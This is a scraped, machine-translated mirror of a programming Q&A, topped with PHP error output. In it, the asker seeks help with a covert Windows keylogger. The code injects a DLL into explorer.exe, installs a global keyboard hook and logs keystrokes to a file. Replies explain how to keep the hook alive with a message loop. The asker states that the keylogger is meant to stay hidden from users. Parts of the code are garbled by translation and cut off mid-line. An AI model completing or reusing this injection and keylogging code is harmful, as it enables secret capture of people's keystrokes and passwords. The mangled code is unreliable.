Warning: file_get_contents(/data/phpspider/zhask/data//catemap/6/cplusplus/134.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
C++ explorer.exe上注入的dll中的无限循环_C++_Windows_Dll Injection - Fatal编程技术网

C++ explorer.exe上注入的dll中的无限循环

C++ explorer.exe上注入的dll中的无限循环,c++,windows,dll-injection,C++,Windows,Dll Injection,我正在尝试在Windows7上创建一个键盘记录器。为此,我创建了一个Dll(setHook.Dll),并将其注入到explorer.exe的新线程中。在第一个DLL中,我打开了另一个DLL,其中包含对每个键盘输入调用的函数(hookfunc) 我需要让我的Dll在后台工作,因为如果它死了,我就失去了钩子函数。 为此,我尝试了: 睡眠(无限):工作片刻,但explorer.exe崩溃 while(1):工作片刻,但explorer.exe崩溃 系统(“暂停”):正在工作!但我不想在屏幕上出现控制

我正在尝试在Windows7上创建一个键盘记录器。为此,我创建了一个Dll(
setHook.Dll
),并将其注入到explorer.exe的新线程中。在第一个DLL中,我打开了另一个DLL,其中包含对每个键盘输入调用的函数(
hookfunc

我需要让我的Dll在后台工作,因为如果它死了,我就失去了钩子函数。 为此,我尝试了:

  • 睡眠(无限):工作片刻,但explorer.exe崩溃
  • while(1):工作片刻,但explorer.exe崩溃
  • 系统(“暂停”)
    :正在工作!但我不想在屏幕上出现控制台,我的键盘记录器必须谨慎
  • getchar()
    :与系统相同(“暂停”)
  • 系统(“暂停>空”):访问被拒绝
  • 此线程::睡眠(时钟::秒(10))
    :浏览器崩溃
SetHook.dll:

BOOL WINAPI  DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
    HMODULE dll;
    HOOKPROC addr;
    HHOOK handle;

    if (dwReason != DLL_PROCESS_ATTACH)
        return true;
    if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
        return false;
    if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
        return false;
    if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
        return false;
    Sleep(INFINITE); //issue here
    return true;
}
CallbackFunc:(我认为这没有帮助)

LRESULT回调hookfunc(int-code,WPARAM-WPARAM,LPARAM-LPARAM)
{
流文件的std::of;
字buf=0;
字节键状态[256];
打开(“E:\\function.txt”,std::ofstream::out | std::ofstream::app);
如果(代码>=0&&KEYUP(LPRAM))
{
if(wParam==VK_返回)

文件睡在德莱曼几乎肯定是个坏主意

我假设您正在尝试安装。为此,您需要在喷油器应用程序中运行,例如:

while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
} 

我的注入器应用程序就是这个Dll。我是被迫把所有这些代码放进注入器的吗?我这样做的目的是不让进程运行,否则你怎么加载你的代码?欺骗资源管理器加载你的Dll?这是我第一次创建Dll。关键是我只知道它是如何工作的,并在Dll中创建一个无限循环结果在一个死锁中,我正在尝试另一个解决方案,谢谢你的帮助,因为钩子是在Explorer的上下文中安装的,它已经有一个消息循环,我认为你不需要自己实现一个。@HarryJohnston,也就是说,如果钩子的安装也是由Explorer完成的。文档中特别提到obal挂钩必须具有主机应用程序泵消息,否则在某些情况下可能会死锁。您必须从DllMain返回,否则进程将挂起。从DllMain返回不会导致DLL卸载。
while(GetMessage(&msg, NULL, 0, 0 ))
{ 
   TranslateMessage(&msg); 
   DispatchMessage(&msg); 
}